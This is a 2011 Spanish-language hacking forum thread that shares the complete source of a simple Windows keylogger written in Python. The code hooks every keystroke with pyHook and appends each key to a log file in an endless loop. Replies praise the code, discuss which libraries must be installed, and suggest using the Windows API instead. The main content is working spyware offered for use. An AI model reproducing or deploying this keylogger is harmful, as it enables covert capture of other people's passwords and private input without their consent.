[Python] Simple Keylogger

Iniciado por BigBear, Julio 03, 2011, 09:36:01 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Julio 03, 2011, 09:36:01 PM Ultima modificación: Julio 07, 2011, 02:12:47 AM por ANTRAX
Un simple keylogger en Python

Código: python

#!usr/bin/python
#Simple Keylogger in Python
#(C) Doddy Hackman 2011

import pyHook,pythoncom


def savefile(name,text):
file = open(name,"a")
file.write(text+"\n")
file.close()

def toma(frase):
savefile("logs.txt",frase.Key)

def capturar():
nave = pyHook.HookManager()
nave.KeyDown = toma
nave.HookKeyboard()
pythoncom.PumpMessages()

while 1:
capturar()

# The End

Aún no he podido ver todos tus aportes, sólo unos cuantos y como no voy a comentar en todos, lo hago en este. Muchas gracias por estos códigos, serán muy útiles para gente como yo que está empezando para aprender a usar varios de los módulos de python.

Grandísimo trabajo!!!

gracias por el comentario sensei  ;)

Pues hasta sería mejor trabajar enteramente con el api de Windows (import win32api).
Como de seguro es un "copy-paste" deberán saber que este código usa dos librerías más no incluidas en el paquete de Python por lo general:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Na , es mas facil instalar las dos librerias que hacerlo usando la api de windows , pero es cuestion de cada uno.
Eso si  , a que te referis con copy-paste ¿?